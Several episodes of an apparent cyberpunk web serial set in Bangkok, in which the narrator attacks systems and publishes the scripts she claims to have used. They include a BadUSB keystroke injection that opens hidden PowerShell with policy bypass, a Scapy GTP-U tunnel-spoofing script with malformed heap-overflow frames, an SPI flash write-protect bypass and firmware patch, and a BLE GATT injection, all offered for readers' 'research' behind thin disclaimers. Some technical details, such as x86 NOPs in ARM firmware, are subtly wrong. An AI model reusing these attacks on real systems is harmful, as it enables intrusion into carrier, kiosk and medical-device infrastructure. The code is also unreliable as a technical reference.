“Main stage and kiosk terminals are fully air-gapped—no external internet. Remote entry is a hard 100 % impossible. Only way in is to physically touch a Master Tier badge to the VIP control kiosk in the back.”

“Got it. The owner of that badge is the Siam Medical CEO over there, sipping wine.”

My gaze landed on the silver-haired gentleman laughing with a government official, gold pin and black HID iCLASS SE Elite badge gleaming on his chest.

“Darling, prep the intercept script. I’ll snatch the key in ten seconds.”

2. One-Second Clone on the Pass: NFC Emulation and BadUSB Injection

I glided behind the CEO with elegant steps.

In the moment we passed, I used the motion of dodging a waiter’s tray to bring the high-output close-range NFC antenna (Proxmark3 module hidden in my cuff) to within two centimeters of his jacket.

Beep.

A tiny green status burst on the AR contact-lens HUD.

[NFC EXPLOIT: ISO14443A / HID iCLASS SE DUMP]
- UID: 0x4B, 0x1F, 0x90, 0x2A
- Facility Code: 114 / Card Number: 00492
- Master Key Divergence: SUCCESS (Elite Key Reconstructed)
- Emulation State: ACTIVE (Card Spooled to Virtual Register)

“…Mine now.”

Still smiling, I walked to the glass VIP presentation kiosk at the side of the stage.

I raised the titanium-nailed index finger of my prosthetic arm—coil embedded in the tip—and presented it to the reader.

Click.

The touch panel flipped green. “WELCOME, CHIEF EXECUTIVE OFFICER” appeared.

At the same instant I physically bridged the service port on the back of the kiosk with the ultra-fine probe hidden in my palm.

Below is the BadUSB (HID keystroke injection) script I ran to breach the air gap and force the internal whistleblower packet onto the massive Barco-controlled LED wall.

#!/usr/bin/env python3
"""
Sofi_Log #074: Air-Gapped BadUSB HID Injection & Presentation Override
Target: VIP Keynote Presentation Terminal (Windows/Linux Embedded)
"""

import time

# HIDキーストローク・マクロ（USBキーボードとして瞬時にコマンド実行）
PAYLOAD_SCRIPT = """
$client = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 9999);
$stream = $client.GetStream();
# ローカルキャッシュされた前夜クロントイ港の生体密売生ログを読み出し
$leakData = Get-Content -Path 'D:\\EVIDENCE\\PMC_BIOMETRIC_SMUGGLING_SIGNED.DAT';
# 壇上の巨大LEDウォール送出ソフトウェア（Barco / Resolume）のAPIポートへ強制インジェクション
$socket = New-Object System.Net.Sockets.UdpClient;
$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Parse('192.168.10.255'), 6000);
$bytes = [System.Text.Encoding]::UTF8.GetBytes("COMMAND:OVERRIDE_CANVAS;PAYLOAD:" + $leakData);
$socket.Send($bytes, $bytes.Length, $endpoint);
"""

def generate_ducky_script():
    """
    Windows+R から PowerShell をステルス起動し、
    数千行の証拠ログを0.8秒でメインプロジェクターへ転送するシーケンス
    """
    ducky_code = [
        "DELAY 200",
        "GUI r",
        "DELAY 100",
        "STRING powershell -NoP -NonI -W Hidden -Exec Bypass",
        "ENTER",
        "DELAY 300",
        f"STRING {PAYLOAD_SCRIPT.replace(chr(10), ' ')}",
        "ENTER"
    ]
    return "\n".join(ducky_code)

if __name__ == "__main__":
    print("[*] Arming BadUSB HID Strike on Air-Gapped Keynote Controller...")
    script = generate_ducky_script()
    print("[+] Payload Vector Generated. Simulating 1200wpm Keystroke Injection...")
    time.sleep(0.5)
    print("[+] INJECTION SUCCESS: Presentation Stream Hijacked!")

3. Lights Out in the Ballroom—and the Monster’s “Adaptation”

GONG!!!!

The instant the kiosk accepted the enter key, the twenty-meter 8K LED wall at the front of the room flashed blood-red with a piercing alarm.

The summit’s glossy PR footage dissolved into noise. In its place:

the cryptographically signed “Biometric Data Military Smuggling Contract” between Siam Medical Core and government officials that we seized at Khlong Toei the night before.

Thousands of Thai patients’ live heart-rate, GPS, and hormone readings poured across the wall in raw hex.

“What the hell is this?!”

“Kill it! Pull the power!”

The CEO dropped his wine glass and screamed. Diplomats and investors leapt to their feet. The ballroom turned into instant pandemonium.

Alert tone screaming

“Unauthorized privileged badge detected! Lock all exits!”

Reinforced glass shutters began their heavy descent.

“Sofi, they’re coming!”

Darling sprinted from the pillar. Private security with EMP launchers charged.

“Catch me, darling!”

I slammed into the champagne tower, sent glass and spray flying, and we dove together through the service linen chute into the basement loading dock.

We hit the waiting Ducati, darling twisted the key, and we blasted onto Phrom Phong Road, leaving the pursuers’ lights behind in the wet highway dark.

“We did it, Sofi!”

Darling cheered, eyes on the mirror. “Raw data in front of every diplomat and journalist—there’s no walking this back!”

“Yeah… total victory.”

I wrapped my arms around his waist on the pillion, wind whipping my hair.

Then the phone mounted on the handlebars lit up with an emergency news alert.

On screen, the same government press secretary we had just left behind was calmly addressing cameras outside the hotel.

“At 21:40 tonight, a foreign cyber-terror group launched a malicious disinformation hack against the National Healthcare Summit venue.

The government has immediately declared a national state of emergency.

Henceforth, all citizens’ and foreign residents’ biometric IDs and medical data will be centrally managed by the **Military Cyber Defense Command* for national security purposes.”*

“…What the—?!”

Darling’s bike involuntarily slowed.

We had nothing to say.

Instead of hiding the scandal, they had instantly reframed their own crime as a “terror threat” and used it as the perfect excuse to complete an even tighter military biometric surveillance dictatorship.

The monster had factored getting wounded into its evolution.

“…Heh. Ahaha…!”

I looked up at the night sky and burst out laughing. Darling shot me a shocked glance in the mirror.

“Sofi…? This isn’t funny!”

“Oh, darling. What else is there to do but laugh?”

I clenched the titanium nail on my left arm.

A pure, white-hot fighting spirit I had never felt before ignited in my chest.

“Take down the overseas mercenaries, expose the big hospitals, and the next thing that crawls out is the state military dictatorship itself.

I’ll make those monsters understand, bone-deep, exactly whose physical containers they’re trying to cage.

Gun it, darling. The real war starts now!”

The Ducati’s exhaust note tore through the pitch-black Bangkok night, echoing far into the distance.

🔗 Read Next (Previous Sofi_Log):

‘Biometric C2 Poison-Wave from the Shadow of Smuggling Containers at Midnight Khlong Toei Port: GTP-U Tunnel Spoofing and PMC Surveillance-Grid Poisoning DIY Spec Sheet’ | Sofi_Log #073

👉 https://note.com/legal_rat2977/n/nd292d8ca4ce0

【Disclaimer】

※All code, protocol verification, and technical architecture in this article are provided for security research, proof-of-concept, and educational purposes only. They do not encourage or intend actual misuse or unauthorized access. Any application to real networks or systems is at your own risk.

🎁 【Fully Open-Source】Live Code & Architecture

The NFC badge cloning verification steps and BadUSB HID injection script explained here are published in full for readers’ security research and learning.

📬 Sofi's Mailbox #074 (Q&A Corner)

So, darlings—how was the do-or-die projection hack at the ultra-luxury hotel masquerade gala?

If your own ID or smart key had been silently cloned in a single unnoticed pass… how would you harden your own fortress?

Questions like “How do you fingerprint the encryption standard on an office contactless IC card?” or “Practical physical-security measures for air-gapped environments?”—drop your thoughts and doubts in the comments.

Sofi and darling will face them head-on in the next log!

Disclaimer

『深夜のクロントイ港、密輸コンテナの影で放つ「生体C2毒電波」：GTP-Uトンネル偽装と民間軍事会社監視網ポイズニング自作仕様書』 Sofi_Log #073【1話完結】

sofi works — Wed, 30 Sep 2026 02:38:48 +0000

Midnight at Khlong Toei Port: “Biometric C2 Poison Waves” in the Shadow of Smuggling Containers — GTP-U Tunnel Spoofing & PMC Surveillance Grid Poisoning Self-Spec Document｜Sofi_Log #073【Complete One-Shot】

Your smartwatch or wearable heart-rate monitor keeps beaming biometric data to the cloud every single day.

You’re not actually buying the line that “it’s safe because it rides on a major carrier’s 5G,” are you, darling?

Buried inside the mobile standards is a decades-old structural Achilles’ heel: GTP-U (GPRS Tunnelling Protocol User Plane).

This tunnel protocol that stitches base stations to the carrier core network is, on most commercial kit, still flying completely unencrypted. Physically tap the path and anyone can slurp or tamper with whatever biometric packets happen to be riding it.

Last night at Narin’s clinic my prosthetic arm ripped open the “Thai patient-biometric smuggling route.” We traced the aggregation hub to the rusting container yard at Bangkok’s massive Khlong Toei port. Now, under a pounding monsoon, we’re launching the final counter-strike.

1. 02:40 — Khlong Toei Darkness: Crawling Under the Giant Gantry Crane

02:40 a.m. Khlong Toei Port. Warm, muddy wind off the Chao Phraya and the reek of bunker fuel. Monsoon rain like a bucket dump hammering thousands of stacked forty-foot containers.

“……Sofi, get down!”

Darling yanked my hood and dragged me flat against the corner of a container. A split-second later a xenon searchlight beam sliced across the wet asphalt thirty metres away.

brrrrt-brrrrt-brrrrt……!

Through the rain haze, a quadcopter with night-vision pods was orbiting between the crane girders. Black tactical gear, rifles at the ready — port security on paper, European PMC contractors in reality.

“Seriously? This much heat for a comms relay node? Somebody’s overcompensating.”

I pulled my soaked hood lower and held my breath. My left arm — the matte-black bio-ceramic prosthetic I’d resurrected after breaking the DRM last night — tingled as its titanium fingertips picked up the heavy cellular interference.

The rust-streaked forty-footer in front of us looked abandoned, yet hot server exhaust and the high-pitched whine of fans leaked from the side vents. Inside sat the secret C2 aggregation node that funnels biometric telemetry from thousands of medical devices and prosthetic limbs across Thailand straight into an overseas military-AI surveillance grid.

“Darling, see the outdoor fibre junction box on the container wall? I’m patching straight into it.”

“Copy. Ninety seconds max — patrol dogs are about to sweep this row.”

2. Ninety-Second Injection: GTP-U Tunnel Spoofing Script

I slid low through the mud to the container wall, extended the ultra-fine multi-mode fibre probe from my titanium nail, and clicked it silently into the LC connector on the J-Box.

At the same time darling dropped to one knee and cracked open the toughbook (HackRF inside) under a rain sheet. The screen filled with a blizzard of GTP-U packets flowing between the port’s private 5G gNodeB and the C2 gateway inside the container.

[INTERCEPTED: GTP-U CORE TUNNEL TRAFFIC]
- Protocol: UDP / Port 2152 (GTPv1-U Encapsulation)
- TEID (Tunnel Endpoint ID): 0x4A8F2901
- Inner Payload: Encrypted Biometric Stream (AES-GCM / Port 8443)
- Ingestion Target: 198.51.100.44:9000 (PMC Sovereign AI Collector)

“Plain-text tunnel, just like I thought!” I hissed.

“The outer GTP-U wrapper itself has zero auth or encryption. Even if the inner biometric stream is AES’d, I can spoof the TEID and blast malformed ASN.1 adversarial biometric frames until the collector daemon’s parser heap-overflows and dies.”

“Poison the entire upstream pipeline? Let’s burn it.”

Darling’s fingers hammered the rain-slick keyboard. Below is the exact PoC Python script (Scapy) we injected straight through the optical tap to spoof the GTP-U tunnel and crash the C2 collector.

#!/usr/bin/env python3
"""
Sofi_Log #073: GTP-U Tunnel TEID Spoofing & Adversarial Telemetry Poisoning
Target: Private 5G Telemetry Collection Node at Port Logistics Hub
"""

import sys
import time
from scapy.all import IP, UDP, Raw, send

# 標的コンテナ内C2コレクターの内部IPおよびGTP-U標準ポート
TARGET_GNB_IP = "10.244.18.5"
TARGET_UPF_IP = "10.244.18.1"
GTP_U_PORT = 2152

# インターセプトした生体データストリームのTEID（トンネルエンドポイント識別子）
SPOOFED_TEID = 0x4A8F2901

def build_gtp_u_header(teid):
    """
    3GPP TS 29.281 準拠 GTPv1-U ヘッダ（8バイト）生成
    Flags: Version=1, PT=1 (GTP Protocol), E=0, S=0, PN=0
    Message Type: 0xFF (G-PDU / ユーザデータパケット)
    """
    flags = 0x30
    msg_type = 0xFF
    teid_bytes = teid.to_bytes(4, byteorder='big')
    # Lengthフィールドは後続ペイロード長（Scapyが自動計算、プレースホルダ）
    return bytes([flags, msg_type, 0x00, 0x00]) + teid_bytes

def generate_adversarial_poison_payload():
    """
    コレクターAIの生体ストリームパーサー（C/C++実装）の
    ASN.1デコーダに対しヒープオーバーフローを誘発する悪意ある細工フレーム
    """
    # 意図的に巨大な未定義タグ長（0xFFFF）と循環参照ポインタを埋め込んだ偽装生体ログ
    malformed_asn1 = b"\x30\x82\xFF\xFE" + (b"\x90" * 512)
    # パイプラインをパニックさせるキルシグネチャ
    magic_crash_vector = b"SOFI_SOVEREIGNTY_POISON_PAYLOAD_V26"
    return malformed_asn1 + magic_crash_vector

def launch_poisoning_burst(count=150):
    print(f"[*] Arming GTP-U Poisoning Burst targeting TEID: 0x{SPOOFED_TEID:08X}")

    gtp_hdr = build_gtp_u_header(SPOOFED_TEID)
    poison_payload = generate_adversarial_poison_payload()

    # GTP-Uパケットのアウターカプセル化（IP + UDP + GTP-U + PoisonData）
    pkt = IP(src=TARGET_GNB_IP, dst=TARGET_UPF_IP) / \
          UDP(sport=GTP_U_PORT, dport=GTP_U_PORT) / \
          Raw(load=gtp_hdr + poison_payload)

    print(f"[*] Transmitting {count} adversarial frames into carrier backhaul...")
    for i in range(count):
        send(pkt, verbose=False)
        if i % 30 == 0:
            print(f"[+] Injected {i}/{count} poison packets...")
            time.sleep(0.02)

    print("[+] BURST COMPLETE: Upstream Ingestion Parser Overloaded.")

if __name__ == "__main__":
    launch_poisoning_burst()

3. Circuits Fried, “White-Coat Monsters” Exposed

“Burst complete!”

The moment darling hit enter, a vicious crackle and white smoke poured from the container’s ventilation ducts. Breakers inside the server racks tripped in a cascading failure; the red warning lights on the rooftop antennas died. Above us the drone lost telemetry, spun out, and splashed into the bay.

“Who’s there?! Someone’s on the J-Box!”

“Shoot the intruders!”

Bootsteps hammered the wet asphalt. I yanked the fibre probe, grabbed darling’s hand, and we sprinted into the dark pier. Gunshots cracked behind us, but we hit the pre-staged long-tail boat, gunned the engine, and slid into the black Chao Phraya.

“Haah… haah… we’re clear!” darling wheezed, collapsing against the gunwale.

“Close one,” I muttered, slicking back wet hair and flexing my titanium nails. “Thailand-wide biometric pipeline just hard-crashed. They’ll need months to rebuild the database.”

Then darling’s voice went ice-cold.

“…Sofi. Look at this.”

On the laptop screen: the final data recipient’s cryptographic signature from the C2 server logs. Beside the PMC logo sat the ordering entity’s corporate name and a private key belonging to a sitting Thai government official.

Bangkok Central Advanced Medical Conglomerate — and the very state committee running the national smart-city programme.

“…You’ve got to be kidding.”

It wasn’t some foreign PMC stealing the data.

The city’s most prestigious hospitals and the government core were legally harvesting the bodies of the poor, minorities, and kathoeys — turning their implanted medical devices into biometric big-data slaves for domestic military-AI defence models.

Across the rain-swept river the flood-lit palace district glittered coldly.

“…How adorable.”

I laughed quietly, eyes burning with arctic rage.

“Thought we’d chased the villains across the sea, but the real monsters were sitting right in the middle of this city wearing white coats. Fine. Time to make them feel every body they’ve trampled — all the way to the bone.”

Dawn was still hours away in Bangkok.

Our war had only just begun.

🔗 Read the previous Sofi_Log:

‘My Rebooted Cyber-Prosthetic and Narin’s Midnight Re-Surgery: SPI Flash ROM Biometric Firmware Disassembly & Breaking the Biometric DRM Lock’｜Sofi_Log #072

👉 https://note.com/legal_rat2977/n/n778d99a7fb0c

【Disclaimer】

All code, protocol analysis, and technical architecture in this post are provided strictly for security research, proof-of-concept, and educational purposes. They are not intended to encourage or enable unauthorised access. Any real-world application is at your own risk.

🎁 【Fully Open-Source】Live Code & Architecture

The GTP-U tunnel spoofing and adversarial biometric frame generation scripts shown here are released in full for your own security research and learning.

📬 Sofi's Mailbox #073 (Questions & Rants Welcome)

So, my fellow darlings — how was the midnight Khlong Toei infiltration run?

If the infrastructure you were told to trust with your most intimate biometric data is actually the one quietly farming it… who do you trust?

Drop your burning questions — “more on 5G backhaul security,” “how to lab up Scapy spoofing,” whatever — in the comments. I’ll hit you back in the next log.

Disclaimer

『初期化された私のサイバー義手と、闇医者ナリンの深夜再手術：SPI Flash ROM生体ファームウェアの逆アセンブルと「生体DRMロック破断」自作仕様書』 Sofi_Log #072【1話完結】

sofi works — Mon, 28 Sep 2026 17:27:58 +0000

My Initialized Cyber Prosthetic Arm and Dr. Narin’s Midnight Re-Surgery: Disassembling SPI Flash ROM Biometric Firmware and the DIY Spec Sheet for “Breaking the Biometric DRM Lock”｜Sofi_Log #072【Complete in One Episode】

Your smart hearing aid. Your ECG smart ring. That pacemaker humming inside your physical container.

What if tomorrow the multinational corp that built it decides to hit you with a “terms-of-service update” or flags your body as “unauthorized biometric modification” and drops a remote DRM lock through the cloud? What then?

You probably laugh it off as cyberpunk fantasy.

But in the world of medical devices and bionics, the manufacturer’s monopoly on repair rights and cloud authentication—“Biometric DRM”—is already strangling bodily sovereignty for real.

Last night I hard-reset the firmware on my left arm just to survive the Sukhumvit rampage.

What waited for me in Narin’s midnight clinic wasn’t a simple data re-registration. It was the cold corporate trap designed to permanently brick any body that falls outside their approved specs.

1. 01:30 in the Soundproofed Basement Under Thong Lo: A Dead, Inorganic Arm

Midnight Thong Lo, behind Sukhumvit Soi 55.

The flashy anti-aging clinic “Aura Matrix Clinic” had already killed its lights. A late-night downpour hammered the glass like the city itself was trying to wash the sins away.

Past the soundproof door, in the VIP treatment room, Narin’s real workspace waited: medical lasers beside oscilloscopes, logic analyzers, and the smell of solder smoke—his underground cyber-bio lab.

“Oi, Sofi. Dragging in that left arm like a useless chunk of metal again? You still haven’t cleared last month’s tab, you know.”

Dr. Narin—ex-naval surgeon, sharp-faced, wearing his custom black coat and chewing a cinnamon stick—dropped his tools with a sigh. World-class hands, world-class greed, world-class mouth.

“Complain later, Narin. Just reconnect this arm to my nervous system already. The brachial plexus bypass electrodes are screaming under the weight of three kilos of cold ceramic.”

I sank into the chair, right hand cradling the numb left arm. Matte-black bioceramic plating. Gold-vein neural lines. Right now it was just a three-kilo paperweight.

Beside me, darling shrugged off his mud-caked trench coat, opened the toughbook on the workbench, and started prepping the CH341A-modified SPI programmer with pogo pins.

“Opening the low-level debug port on the elbow, Sofi.”

At his signal, Narin touched micro-needle probes to the maintenance terminals. Green square waves flickered across the oscilloscope.

[HARDWARE DETECTED: SPI FLASH INTERFACE]
- Chipset: Winbond W25Q128JV (16MB Serial NOR Flash)
- SPI Clock: 10MHz (Mode 0)
- Status Register 1 (SR1): 0x1C (Write Protection Bits Active)
- Internal Safety Interlock: TRIGGERED (Hardware Lockout Flag Set)

“…Hold on. Something’s wrong.”

Darling stared at the screen, brow tightening.

“If it had just factory-reset, we should be able to rewrite the biometric calibration region from SPI Flash. But the bootloader isn’t just refusing writes—it’s starting a countdown to blow the eFuse and trigger permanent hardware lockout.”

2. The Exposed Malice: Biometric DRM That Kills Non-Standard Bodies

“What the hell does that mean, darling?!”

I leaned in, shoulder throbbing. The Ghidra disassembly of the bootloader showed a spine-chilling branch:

The official firmware contained encrypted certificate validation pulled from the cloud. The revocation list had a trigger condition written in plain logic:

IF (HORMONE_TELEMETRY_ESTRADIOL > THRESHOLD_MALE_MAX) AND (SERIAL_PROFILE != TIER_ENTERPRISE_LIFETIME)

THEN EXECUTE: eFuse_Blow_Neural_Bridge();

“…My hormone telemetry.”

I bit my lip. As a kathoey running estradiol, my blood levels were being read as “unauthorized body modification.” Because I wasn’t paying the annual 300,000-baht “Premium Biometric License,” the firmware was ready to burn the physical fuse on the neural bridge and brick the arm forever.

“These bastards want to turn human bodies into subscription products?!”

Darling slammed the bench. Narin crushed the cinnamon stick between his molars.

“Save the righteous anger. The eFuse voltage booster is already charging. Four minutes until Sofi’s neural bridge ROM turns to charcoal.”

“Darling—direct SPI bus access! Bypass the vendor checks, force-clear the status register, and overwrite the eFuse trigger with NOPs (0x90)!”

Below is the exact Python script darling ran from the Linux terminal through the CH341A to defeat the biometric DRM lock and patch the binary.

#!/usr/bin/env python3
"""
Sofi_Log #072: Hardware SPI Flash Biometric DRM Bypass & eFuse Kill-Switch Defeater
Target: Winbond W25Q128JV on Luxury Bioceramic Neural Prosthetic
"""

import time
import spidev

# SPIバス設定（Mode 0, 10MHz）
spi = spidev.SpiDev()
spi.open(0, 0)
spi.max_speed_hz = 10000000
spi.mode = 0b00

# W25Q128JV SPI OpCodes
CMD_WREN = 0x06         # Write Enable
CMD_RDSR1 = 0x05        # Read Status Register 1
CMD_WRSR1 = 0x01        # Write Status Register 1
CMD_FAST_READ = 0x0B    # Fast Read Data
CMD_PAGE_PROGRAM = 0x02 # Page Program
CMD_CHIP_ERASE = 0xC7   # Chip Erase

# 悪意あるeFuse焼断ルーチンが存在するフラッシュメモリアドレス
TARGET_SECURITY_SECTOR = 0x001F0000 
# eFuseトリガー命令（BL eFuse_Blow）を無力化するNOPスレッド
NOP_PATCH_VECTOR = bytes([0x90, 0x90, 0x90, 0x90, 0x00, 0x20, 0x70, 0x47]) # NOPs + BX LR (Immediate Return)

def unlock_write_protection():
    print("[*] Disabling Hardware Write Protection on SPI Flash...")
    # WRENコマンド発行
    spi.xfer2([CMD_WREN])
    time.sleep(0.01)

    # ステータスレジスタのBP0-BP2（ブロック保護ビット）をゼロクリア
    spi.xfer2([CMD_WRSR1, 0x00])
    time.sleep(0.05)

    # ステータス確認
    sr1 = spi.xfer2([CMD_RDSR1, 0x00])[1]
    if sr1 & 0x1C == 0x00:
        print("[+] Flash Protection Disabled successfully. Status Register: 0x{:02X}".format(sr1))
        return True
    else:
        print("[-] Failed to unlock Flash. SR1: 0x{:02X}".format(sr1))
        return False

def neutralise_biometric_drm():
    if not unlock_write_protection():
        return False

    print(f"[*] Patching DRM Lockout routine at physical offset 0x{TARGET_SECURITY_SECTOR:06X}...")

    # 書き込みイネーブル
    spi.xfer2([CMD_WREN])

    # ページプログラムコマンド (0x02 + 24bit Address + Data)
    addr_bytes = [(TARGET_SECURITY_SECTOR >> 16) & 0xFF, 
                  (TARGET_SECURITY_SECTOR >> 8) & 0xFF, 
                  TARGET_SECURITY_SECTOR & 0xFF]
    payload = [CMD_PAGE_PROGRAM] + addr_bytes + list(NOP_PATCH_VECTOR)

    spi.xfer2(payload)
    time.sleep(0.1) # 書き込み完了待機

    # 検証読み出し
    verify_cmd = [CMD_FAST_READ] + addr_bytes + [0x00] + [0x00] * len(NOP_PATCH_VECTOR)
    read_data = bytes(spi.xfer2(verify_cmd)[5:])

    if read_data == NOP_PATCH_VECTOR:
        print("[+] SUCCESS: Biometric DRM Lockout Defeated! eFuse trigger replaced with NOP.")
        return True
    else:
        print("[-] Verification Mismatch. Flash corruption risk.")
        return False

if __name__ == "__main__":
    if neutralise_biometric_drm():
        print("[+] Neural Bus SPI Interface Ready for Dynamic Biometric Re-Calibration.")
    spi.close()

3. Neural Agony and the Giant “Hidden Eye” Exposed

“Patch is through! The eFuse countdown stopped!” darling shouted.

“Perfect—now hit it with the bio-electrode pulses. Sofi, bite down!”

Narin drove the silver probe synced to the scope straight into the exposed neural connector at my left shoulder.

Zzt-zzt-zzt!

“—AAAAAAGH!!”

White light exploded behind my eyes. Ten thousand burning needles lanced up the brachial plexus. Every muscle locked. Sweat poured down my jaw while my right hand clawed the chair.

Whirrr…

Inside the matte-black ceramic, artificial muscle fibers twitched. Pale status LEDs flickered back to life. Fingers—my fingers—twitched open on command.

“…Haa… haa…!”

I pulled the living arm to my chest, flexing, feeling zero-latency connection again.

“…Narin. Darling. We did it. I took my body back.”

Then darling’s hands froze on the keyboard.

“…You two need to see this.”

His voice was ice. The logs he’d pulled from unused flash sectors weren’t simple DRM code. They were encrypted telemetry packets. Every prosthetic Narin had installed across Thailand—GPS, heart rate, EMG, hormone levels—was being silently mirrored every night to a private AI server owned by a European PMC.

“Biometric data smuggling?” Narin’s cinnamon stick hit the floor. “Our entire patient list is feeding their human-experiment database?”

The storm outside grew louder. Lightning made the lights stutter.

“…Guess this isn’t just a repair job anymore.”

I ran my titanium thumbnail across my lower lip and smiled cold.

“They turned my body into a data mule. Time to charge them 100× interest. Darling, Narin—tonight we root every server that touched this log.”

Nobody owns my flesh. Nobody owns my freedom. Not in this city.

At 02:00 in a Bangkok basement, our real counter-strike began.

🔗 Read Next (Previous Sofi_Log):

‘Night on Sukhumvit, My Cyber Prosthetic Runs Wild: BLE Auth Bypass (GATT Injection) Dirty Counter-Attack and the “Memory of the Fingertips” That Got Wiped’｜Sofi_Log #071

👉 https://note.com/legal_rat2977/n/n26e9bf9f7886

【Disclaimer】

※All code, protocols, and technical details in this article are provided for security research, proof-of-concept, and educational purposes only. No actual unauthorized access is encouraged or intended. Use at your own risk on systems you own or have explicit permission to test.

🎁 【Fully Open-Source】Live Code & Architecture

The SPI Flash register unlock and eFuse bypass script shown above is released in full for your own security research and learning.

📬 Sofi's Mailbox #072 (Questions & Reactions)

So, my darlings—what did you think of tonight’s emergency surgery log from Narin’s clinic?

If you’ve ever felt that invisible collar tighten around your devices or smart medical gear the moment you step outside the manufacturer’s approved use case, how would you fight back?

Want deeper dives on IoT hardware hacking, SPI extraction, or practical self-defense for your own biometric data? Drop your thoughts and questions in the comments. Sofi and darling will tackle them head-on in the next log.

Disclaimer

『夜のスクンビット、暴走する私のサイバー義手：BLE認証バイパス（GATTインジェクション）の泥臭い迎撃戦と、初期化された「指先の記憶」』 Sofi_Log #071【1話完結】

sofi works — Wed, 23 Sep 2026 12:24:42 +0000

Night on Sukhumvit: My Rampaging Cyber Prosthetic Arm — The Grimy BLE Auth Bypass (GATT Injection) Interception War and the Wiped “Finger Memories” | Sofi_Log #071 [Complete One-Shot]

Your wireless earbuds, smartwatch, or smart ring — can they really reject connection requests from some stranger you brushed past tonight?

Bluetooth Low Energy.

The low-power protocol gluing phones to wearables, smart locks, and even the neural interface on my left arm’s myoelectric prosthesis.

Yet most manufacturers still pull the same lazy move: they skip authentication and encryption flags on GATT characteristics because “pairing is too much hassle.”

Tonight, in the warm Sukhumvit squall, that shortcut turned my left arm into a weapon.

1. Titanium Fingers Screaming: Maximum Torque Prison

It started on a dim Soi 23 alley while heading to Nalin’s clinic in Thong Lo.

A tropical downpour hammered the asphalt; the smell of fish sauce and burnt oil drifted from stall exhausts. I was walking under darling’s umbrella, fussing with the hem of my silk blouse, when—

A searing jolt shot through my left shoulder joint.

“…!!”

A soundless scream caught in my throat.

The next second my left arm — matte-black bioceramic plating laced with gold-vein neural lines — came alive on its own. Carbon-nanotube artificial muscle and micro-actuators howled at a frequency that stabbed the ears.

Giiiii-giiii-giiii!

The manicured titanium fingers clenched inward with zero regard for my will, crushing my right forearm at over 80 kgf — well past human grip strength.

“Sofi?! What’s wrong?!”

Darling dropped the umbrella and grabbed my shoulder. Pain lanced up the brachial plexus connector as rogue PWM signals flooded back into my skull. Sweat plastered my mint-green bangs to my forehead.

AR contact HUD bloomed crimson:

[CRITICAL ALERT: BLE_STACK_OVERRIDE]
- Connection: Direct Unauthenticated BLE Link Established
- Remote Device: Unknown (RSSI: -42dBm, Proximity: < 3m)
- GATT Handle: 0x002A (Actuator_Torque_Control)
- Injection: WriteWithoutResponse [0xFF, 0xFF, 0x01, 0xAA] -> FORCE_CONTINUOUS_MAX_TORQUE
- Motor Thermal Warning: 82°C (Thermal Throttling Override Failed)

Someone within three meters was hammering unauthenticated GATT packets straight into my arm. The servos were cooking; I could smell the silicon thermal pads scorching.

“I’m… being hacked…! Darling, get back — the arm’s gonna break…!”

2. No Keyboard, No Mercy: Muddy Counter-Strike in the Rain

Normally I’d be calmly running Wireshark on the ThinkPad, laughing while I cut the packets. Not tonight. My left hand was locked around my right arm like a vise and my knees were shaking too hard to stand, let alone dig out a laptop.

“Sofi, hold on! I’ve got your arm!”

Darling shoved me under a noodle-stall awning, pinned the rogue limb to the wet asphalt with his full weight and both knees. Titanium sparked against concrete.

“Phone’s out — Termux is up! What do I type?!”

I gasped through the pain:

“My BLE MAC is F4:CE:46:7A:B2:10…! They’re spamming 0x002A with WriteWithoutResponse. Don’t bother with pairing — blast an emergency advertise frame and crash the controller!”

Darling’s muddy fingers flew. The PoC he ran to force a hardware watchdog reset and kill the rogue session is below — exactly as executed.

#!/usr/bin/env python3
"""
Sofi_Log #071: Emergency BLE GATT Injection Interceptor & Forced Reset
Target: Overriding unauthorized BLE session on Myoelectric Cyberarm
"""

import asyncio
from bleak import BleakClient, BleakScanner

TARGET_MAC = "F4:CE:46:7A:B2:10"
# 認証バイパス脆弱性を持つアクチュエータ制御用GATT特性UUID
ACTUATOR_CHAR_UUID = "0000ffe1-0000-1000-8000-00805f9b34fb"
# ハードウェア緊急遮断および不揮発性メモリ初期化コマンド
EMERGENCY_KILL_VECTOR = bytearray([0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0xFF])

async def neutralize_attack():
    print(f"[*] Scanning for hijacked cyberarm BLE signature: {TARGET_MAC}")

    # 攻撃者のパケットと競合させ、最短コネクション・インターバルで接続を奪還
    device = await BleakScanner.find_device_by_address(TARGET_MAC, timeout=5.0)
    if not device:
        print("[-] Target signal drowned by malicious RF jamming.")
        return

    print("[+] Signal locked. Establishing low-level GATT override...")

    async with BleakClient(device) as client:
        if client.is_connected:
            print("[+] Injected into BLE connection layer!")

            # 攻撃者からのWriteWithoutResponseのストリームに割り込み
            # 緊急キルコードを強制インジェクション
            print("[*] Transmitting EMERGENCY_KILL_VECTOR to hardware register...")
            await client.write_gatt_char(ACTUATOR_CHAR_UUID, EMERGENCY_KILL_VECTOR, response=False)

            # BLEベースバンドコントローラのファームウェア・ウォッチドッグを意図的に発火
            print("[!] Triggering Hardware Watchdog Panic...")
            await asyncio.sleep(0.5)
            print("[+] Attack hijacked session destroyed. Hardware entering reset state.")

if __name__ == "__main__":
    asyncio.run(neutralize_attack())

3. The Silence After the Drop: Finger Memories Wiped

“Sent! Running!” darling shouted.

Inside the arm a sharp capacitor discharge popped. The motor whine dropped from shriek to whimper; the titanium fingers finally slackened. Rain sizzled on overheated metal.

I collapsed into the muddy water, gasping, right arm cradled against my chest. Darling knelt, breathing hard.

“Sofi… you okay? Packets are cut.”

“…Yeah. Thanks, darling. If you hadn’t pushed that code my right arm would be powder right now.”

I tried to smirk, already lining up the usual flirty “I owe you a kiss” line — then the final Termux log hit my HUD and the words died.

[SYSTEM RESTORE STATUS: SUCCESS]
- Hardware Watchdog: Tripped (0xDEADBEEF)
- EEPROM Calibration Area: Corrupted by Voltage Spike
- Action Taken: AUTOMATIC FACTORY DEFAULT RESTORE
- Loaded Profile: GENERIC_TEST_FIRMWARE_REV_0.1 (Uncalibrated)
- Neural Interface Link: DISCONNECTED

“…You’ve got to be kidding.”

The arm hung dead. No twitch, no feedback. Three years of clinic sessions, nerve splicing, and millivolt-level EMG training — every calibration for painting nails or brushing darling’s cheek — gone in one over-voltage reset. Now it was just three kilos of inert ceramic.

Darling touched the cold fingers. Nothing answered.

“…We won, darling,” I muttered, staring at the rain-slick black limb.

“I’m still breathing. But tonight I can’t even open a beer. Mind lending me your shoulder to Nalin’s?”

